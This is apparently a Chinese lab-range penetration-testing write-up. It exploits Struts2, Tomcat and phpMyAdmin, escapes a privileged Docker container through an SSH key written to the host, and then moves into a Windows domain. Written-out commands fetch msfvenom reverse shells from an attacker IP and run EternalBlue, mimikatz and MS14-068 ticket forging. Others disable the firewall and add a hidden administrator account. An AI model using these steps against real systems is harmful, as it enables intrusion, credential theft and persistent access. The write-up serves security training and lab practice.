<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    實戰|記一次逃逸Docker滲透測試

    VSole2021-07-21 09:33:00

    環境搭建

    靶場:

    ubuntu

    內網ip:192.168.183.10

    外網ip:192.168.1.6

    域內主機:

    win7:192.168.183.129

    win2008:192.168.183.130

    需手動開啟ubuntu的docker環境,對應的端口服務如下

    2001 struts2
    2002 tomcat8
    2003 phpmyadmin 4.8.1

    外網打點

    端口掃描

    首先對ubuntu進行端口掃描,發現2001、2002、2003三個特征端口

    nmap -T4 -sC -sV 192.168.1.6
    

    Struts2

    首先訪問2001端口,是一個struts2的框架

    這里直接使用漏掃工具檢測struts2有無漏洞,這里發現存在S2-045、S2-046兩個漏洞

    首先使用S2-045看能不能命令執行,這里發現返回的是html

    再換一個S2-046漏洞發現能夠命令回顯

    這里直接嘗試上傳一個jsp上去試試,返回了路徑

    這里訪問一下,返回了404,這里我嘗試了其他幾個路徑都是返回404,但是S2-046這個漏洞應該是能拿到shell的,這里這個端口就沒繼續進行嘗試了

    Tomcat8

    看一下2002端口是一個apache tomcat8

    這里直接去kali上搜索對應版本的漏洞并把漏洞檢測的poc復制出來

    searchsploit tomcat 8.5.19
    searchsploit -m /exploit/jsp/webapps/42966.py
    

    使用poc檢測是否存在漏洞,這里發現是存在CVE-2017-12617這個漏洞的,這里的poc原理應該是上傳了一個Poc.jsp來判斷是否存在漏洞

    python 42966.py-u http://192.168.1.6:2002/
    

    我們訪問一下Poc.jsp,是存在的

    那么存在漏洞,直接使用-p參數進行攻擊,這里拿到了一個反彈回來的shell,這里因為是交互型shell,不太方便下一步的操作,這里嘗試著上線msf

    python 42966.py-u http://192.168.1.6:2002/ -p pwn
    

    因為是linux,所以需要生成linux的木馬,在kali本地起一個http服務方便靶機下載

    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444-f elf > shell.elf
    python -m SimpleHTTPServer#py2環境
    

    下載shell.elf并賦權執行

    wget http://192.168.1.10:8000/shell.elf
    chmod 777 shell.elf
    ./shell.elf
    

    使用msf接收會話,上線成功

    set payload linux/x86/meterpreter/reverse_tcppayload linux/x86/meterpreter/reverse_tcp
    set lhost 192.168.1.10
    set lport 4444
    run
    

    phpmyadmin4.8.1

    訪問2003端口是一個直接暴露的phpmyadmin

    這里對應版本的漏洞是CVE-2018-12613,是一個文件包含的漏洞,這里看一下漏洞的分析

    首先在如下圖所示的index.php中存在一處包含指定文件的代碼:

    需要成功包含,必須滿足if區間中的五個條件:target參數值不為空;target參數值為字符串;target參數值不以index開頭;target參數值不在黑名單中;過checkPageValidity函數的檢查。其中第四個條件的黑名單即51行中import.php與export.php;第五個條件需要查看該函數:

    可以看到core類的checkPageValidity函數中又必須經過以下的五個判斷:

    1、$whitelist為空就引用申明的$goto_whitelist 2、$page如果沒有定義或者$page不為字符串就返回false 3、$page如果存在在$whitelist中返回true 4、如果$_page存在在$whitelist中返回true 5、經過urldecode函數解碼后的$_page存在在$whitelist中返回true

    我們可以看到在index.php調用checkPageValidity函數時沒有傳入其他參數,因此會進入第一個判斷,而$goto_whitelist如下所示:

    它定義了很多可以被包含的文件名。然后第二個判斷可以跳過;看第三個判斷,可以看到$page參數是不在$whitelist中的,此處不滿足;看第四個判斷,這個判斷是對$_page進行的,校驗$_page是否在白名單中,而$_page是將$page值末尾加上’?’后從字符串第0位開始分割,取其中第一次出現?之前的內容,如下圖所示:target=sql.ph%3fp時:

    因此此處可以用'$target=db_sql.php?/../../被包含文件'來滿足條件,但是$target進入到index.php的include()中,被包含的文件無法打開,出現報錯。(windows文件命名規則中規定了文件名不能出現特殊字符,linux為服務器的情況下,是可以使用?直接進行繞過)

    第五個判斷,先將$page進行urldecode解碼,然后再進行?的分割,取值進行判斷,只要解碼后分割出來的值在$whitelist中即可滿足條件。而在$target 里問號被二次編碼為%253f, db_sql.php%253f也會被認為是一個目錄,可以用../跨越,成功實現包含。因此命名規范里面沒有將%放進去也是該漏洞能在windows下成功利用的一個關鍵點。

    這樣我們可以將?進行二次編碼。如果傳入target=db_sql.php%253f。在第四個判斷中進行白名單校驗時,為db_sql.php%3f,不滿足,第五個判斷的urldecode后,進行校驗時為db_sql.php,符合條件,然后即可成功包含文件。

    這里就可以構造一個payload輸出密碼

    index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
    

    這里首先寫入一個phpinfo,然后查看phpMyAdmin的value

    得到phpMyAdmin:"990aadb371d8e582cb000c716aed9720",然后構造payload進行文件包含輸出phpinfo

    ?target=db_datadict.php%253f/../../../../../../../../../tmp/sess_990aadb371d8e582cb000c716aed9720
    

    寫入一句話木馬查看phpMyAdmin的值然后構造payload進行文件包含用蟻劍連接即可

    phpMyAdmin:"990aadb371d8e582cb000c716aed9720"

    ?target=db_datadict.php%253f/../../../../../../../../../tmp/sess_990aadb371d8e582cb000c716aed9720
    

    內網滲透

    docker逃逸

    這里理論上三種方法都能夠拿到shell,這里我使用tomcat上線到msf的shell進行信息搜集

    可以看到有eth0、eth1分別處于1.0/24和183.0/24兩個網段,初步判斷是有域環境的。

    繼續往下看,還有幾個ip,但是不是eth,而且這里有三個ip,根據上面有三個不同的環境,那么可以判斷應該是用的docker。那么我們無論使用3個環境的哪個環境拿shell都只是一個docker容器里面的shell,并不是真正ubuntu的shell,所以這里我們還需要進行docker逃逸到ubuntu

    這里我嘗試臟牛失敗,這里就需要使用到privileged特權模式逃逸

    privileged特權模式逃逸

    docker中提供了一個--privileged參數,這個參數本身最初的目的是為了提供在docker中運行docker的能力 https://www.docker.com/blog/docker-can-now-run-within-docker/

    docker文檔中對這個參數的解釋如下 https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities

    當操作員執行時docker run –privileged,Docker將啟用對主機上所有設備的訪問,并在AppArmor或SELinux中進行一些配置,以允許容器對主機的訪問幾乎與在主機上容器外部運行的進程相同。

    當控制使用特權模式啟動的容器時,docker管理員可通過mount命令將外部宿主機磁盤設備掛載進容器內部,獲取對整個宿主機的文件讀寫權限,此外還可以通過寫入計劃任務等方式在宿主機執行命令。那么這里就可以嘗試使用特權模式寫入ssh私鑰,使用ssh免密登錄

    這里首先新建一個tmptest文件夾,用來存放掛載后的docker

    查看一下dev文件夾里面的設備文件

    可以看到有四個sda設備文件,我這里選擇sda1進行掛載

    使用mount命令將sda1掛載到tmptest文件夾里并用ls指令進行查看

    mount /dev/sda1 /tmptest
    ls /tmptest
    

    然后使用ssh生成一個名叫tmp的私鑰,然后用chmod命令賦予權限

    ssh-keygen -f tmp
    chomd 600 tmp
    cat tmp.pub
    

    因為我們之前已經把sda1掛載成功了,那么我們如果要訪問ubuntu的/home目錄,我們直接訪問掛載到的tmptest文件夾的/home文件夾即可,即/tmptest/home路徑

    使用ls -alh查看當前目錄下包括隱藏文件在內的所有文件

    ls -alh /tmptest/home/ubuntu
    

    這里我們看到了一個.ssh文件,我們要將ssh私鑰寫入到.ssh目錄里面并將文件命名為authorized_keys(目標機.ssh目錄權限必須為700)

    使用如下命令寫入ssh私鑰

    cp -avx /tmptest/home/ubuntu/.ssh/id_rsa.pub /tmptest/home/ubuntu/.ssh/authorized_keys 
    echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC5yY2m0Ji9Sy+zc1/84P9EI+CQqhi6xwyni/k8cnGSjJf333Bncr0pEHDGU+jtaBzMzgX/b+kDAfvfvXNvI15+1SOmpLmM08H4twac2lGLt3fRbKPK6W8a3eNdaP6LVHZ6OXUmSWMBZPUzHHnfpaOIVAqOsFpIsPyn9NEu0Y8PxnVWJd42aI5fRwwL/OUIiQnQynmBnnxfeG54HpVPvVPeF9YfSJblQCkr3DiN9HiI/i6wIK7nZH33O3wEV7PxWjQ/qOhuhL1HFwLXh3FqWW/uqcE/C6UT4KSYcaoKkEe2iFrdjZ53LUsBXpEzxy4Om27SIl2Od/S2o6PW6wmfbe6GlDFITNf+9ZOVCGz5Zt4qewTP0W8kW4oC2eBz2OaaJoE25q1f0OL/28O2n5CSqxCgLx0rZBLsTHSadYD32iOCtY7r5fQdXkJU4C0tzGYJbs3SNJG3yqJ3yG5cMmnKTz8sblW+B3JdDaWUw8artLteb5Bw2b8yVvRRtgZcBWQPLe0= root@kali'> /tmptest/home/ubuntu/.ssh/authorized_keys
    echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDrmhVWnGEgZWNmpbVC+BMdRKVDjbc78QaCWYMJFxNWSYVayOZEUjYQin4VXwbetNoBGrdT7G1rnK8HNs5iK4u2HClZVhq3uOsWc/QAx0ETT1viv3+rA7JmPWbBNLzYRlEG9OWzvhzxh0cRmQsrX7ngbmcCvaIgQDcFa5NtddEZ4vD5SvumHyABvSL+DygN3ig592aoI2Z65wkYmqV7cBlNuZpZe+L6C7L0LZEXy4dleoaCH4Ks+PcUJ/S4z2ruIpKHktFpdc37DXbXusLxWV9fyD7anFXz5wQ552JT0L7SzD7HQ04OR7DR9dRQ7A1lXDbWrZ7CL1pvTH+L7uhwV7X8qs93pkApiaKDXT4M+uAKLLlwL3cMEL8NM4oWV/PBBm1CfpMNhbj4k3r4c19kec5rlAXCbS/lQKRMtS+mmCvY4QP5MUk6L/adRcC693/m6aqNQVlAk4SJr2yCHP0LwWKV8tH0teBhFVk7lR0A7lz2p+GLdjWYBvsI+8lBs5XBoJ8= root@kali
    ' > /tmptest/home/ubuntu/.ssh/authorized_keys
    

    然后再使用ssh連接ubuntu即可,到此我們才真正意義上拿到了ubuntu的webshell

    ssh -i tmptest ubuntu@192.168.1.6
    

    上線宿主機到msf

    這里還是按照之前的方法生成一個elf文件在ubuntu上執行

    wget http://192.168.1.10:8000/test.elf
    chmod 777 test.elf
    ./test.elf
    

    msf設置監聽模塊接受會話,成功上線

    存活探測

    添加183.0/24的路由并設置socks代理把msf帶入內網,注意要配置proxychains.conf文件

    route add 192.168.183.0255.255.255.03
    route print
    use auxiliary/server/socks_proxy
    set version 4a
    run
    

    可以使用proxychains配合nmap對整個內網網段進行掃描,但是這里它會一個一個ip+端口的方式去掃描,速度比較慢

    proxychains4 nmap -sT -Pn192.168.183.1/24
    

    我這里使用個速度稍微快點的,使用的是kali里面的udp_probe模塊

    use auxiliary/scanner/discovery/udp_probe
    set rhosts 192.168.183.1-255
    set threads 20
    run
    

    這里可以看到內網中還有兩臺主機存活,一個是192.168.183.129,一個192.168.183.130,這里注意到130開了一個53端口,這里初步判斷130為域控

    永恒之藍嘗試

    這里直接上手永恒之藍先打一波,這里實戰的話最好先掃描,因為直接打的話可能會打藍屏,這里是靶場的原因我就直接上手打了。之前提到過130開了53端口初步判斷為域控,所以這里先從129這臺主機入手

    use exploit/windows/ smb/ms17_010_eternalblue
    set payload windows/x64/meterpreter/bind_tcp
    set rhosts 192.168.183.129
    run
    

    這里看到永恒之藍直接打成功了返回了一個SYSTEM權限的meterpreter,這里先進行一個進程遷移,從x86遷移到x64的進程里面

    我這里遷移到472這個system進程里面

    然后開啟一個windows環境下的cmd進行信息搜集

    chcp 65001
    net user
    net view /domain
    

    可以看到這里是在DEMO這個域環境里面

    ping一下130,能夠ping通

    獲取密碼

    這里獲取密碼有兩種方法,先使用常規方法mimikatz抓取

    使用copy命令上傳一個mimikatz,這里tasklist /svc查看進程是沒有殺軟的那么直接上mimikatz了

    這里出現了一個問題提示我的權限不夠不能夠獲取調試權限

    那么這里exit回到meterpreter里面使用令牌竊取SYSTEM權限之后進行mimikatz密碼進行抓取

    use incognito
    inpersonate_token "NT AUTHORITY\SYSTEM"
    mimikatz.exe
    privilege::debug
    sekurlsa::logonpasswords
    

    這里得到域成員douser/Dotest123

    這里還有一個獲取密碼的方式就是獲取ubuntu執行命令的歷史記錄,我們知道ubuntu有兩個網段,跟129這臺主機是在一個域內的,那么可以看一下是否有連接過129這臺主機的命令曾經執行過,這里就類似于windows里面的udp憑證被保存了下來

    域控橫向移動

    這里拿到了域成員的帳號和密碼,這里我們直接使用一個ptt偽造票據來拿到域控權限,利用mimikatz注入票據

    ms14-068.exe-u douser@DEMO.com -s S-1-5-21-979886063-1111900045-1414766810-1107-d 192.168.183.130-p Dotest123
    mimikatz # kerberos::list          //查看當前機器憑證
    mimikatz # kerberos::ptc TGT_douser@DEMO.com.ccache   //將票據注入
    

    這里使用klist查看下票據已經注入進去了

    這里直接使用ipc連接域控,注意這里需要用主機名而不能用ip

    net use \\WIN-ENS2VR5TR3N
    

    這里生成一個正向連接的msf馬

    msfvenom -p windows/meterpreter/bind_tcp lhost=192.168.1.10 lport=4444-f exe -o bind.exe
    

    使用copy命令復制到DC上后使用sc創建計劃任務

    schtasks /create /tn "test"/tr C:\Users\Desktop\bind.exe /sc MINUTE /S 192.168.183.130
    

    使用sc關閉防火墻

    sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
    sc \\WIN-ENS2VR5TR3N start unablefirewall
    

    創建服務執行msf馬并用msf接受會話

    sc \\WIN-ENS2VR5TR3N create bindshell binpath= "c:\bind.exe"
    sc \\WIN-ENS2VR5TR3N start bindshell
    use exploit/multi/handler
    set payload/meterpreter/bind_tcp
    set lhost 192.168.1.10
    set lport 4444
    run
    

    成功接收到DC會話使用getsystem提權到system

    上傳mimikatz抓取DC密碼,得到DEMO qwe123!@#

    打開DC的遠程桌面

    run post/windows/manage/enable_rdp
    

    使用socks代理進入內網打開遠程桌面

    proxychains4 rdesktop 192.168.183.130
    

    權限維持

    這里拿到域管用戶之后可以使用金票進行權限維持,這里我就簡單的添加一個隱藏用戶進行權限維持

    net user admin$ qaz123!@# /add        #添加用戶admin$
    net localgroup administrators admin$ /add    #將admin$用戶添加到管理員組administrators
    

    這里再使用net user是看不到這個隱藏用戶的

    dockertarget
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    Docker-remoter-api滲透
    2022-04-18 16:24:50
    看雪論壇作者ID:H.R.P
    Gorsair是一款功能強大的針對Docker容器的滲透測試工具,可以幫助廣大研究人員入侵易受攻擊的Docker容器,并發現和訪問目標Docker容器的API。一旦它訪問了目標Docker守護進程,就可以使用Gorsair直接在遠程容器上執行命令。
    干貨!!!
    使用docker搭建環境 https://github.com/apache/apisix-docker 修改docker-compose.yml為2.7即可
    本周末實踐的是開源漏洞靶場vulfocus,真是簡單易用,以下是實踐記錄, 搞個ubuntu18.04的虛擬機,安裝docker, sudo apt install docker.io, sudo systemctl enable docker, sudo gpasswd -a ubuntu docker, newgrp docker, 下載vulfocus容器鏡像,docker pu
    須安裝AFL++,可以使用官方docker鏡像;如果已經在本地安裝,也可直接使用。測試的場景為,非特權用戶輸入惡意構造程序執行參數,引起sudo程序崩潰。sudo程序由root用戶和其他用戶啟動的表現是不同的。sudo的所有權是root,但卻是由普通用戶調用的。argv作為一個指針數組的指針,該指針數組中最后一個指針應為0,其余的每一項為一個字符串指針。注意到afl_init_argv函數中,存在對0x02的判斷,編寫這個文件的作者解釋到,以單獨一個0x02作為參數表
    scanless介紹scanless是一款使用在線端口掃描網站進行端口掃描的工具,因為使用了第三方掃描平臺,所以進行端口掃描時可實現匿名掃描。scanless安裝與使用# 下載。-h, --help show this help message and exit. 此外,scanless還支持Docker安裝,具體可到項目主頁查看。
    Java漏洞平臺,結合漏洞代碼和安全編碼,幫助研發同學理解和減少漏洞,代碼僅供參考運行方式有以下三種:IDEA配置數據庫連接,數據庫文件db.sql
    關于peetchpeetch是一個針對eBPF的安全實踐研究平臺,該平臺由多種工具組成,旨在幫助廣大研究人員通過各種方式繞過TLS協議保護功能,并以此來研究和分析eBPF的安全性。
    Fuxploider是一種開源滲透測試工具,可自動檢測和利用文件上傳表單缺陷的過程。該工具能夠檢測允許上傳的文件類型,并能夠檢測哪種技術最適合在所需的Web服務器上上傳Web Shell或任何惡意文件。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类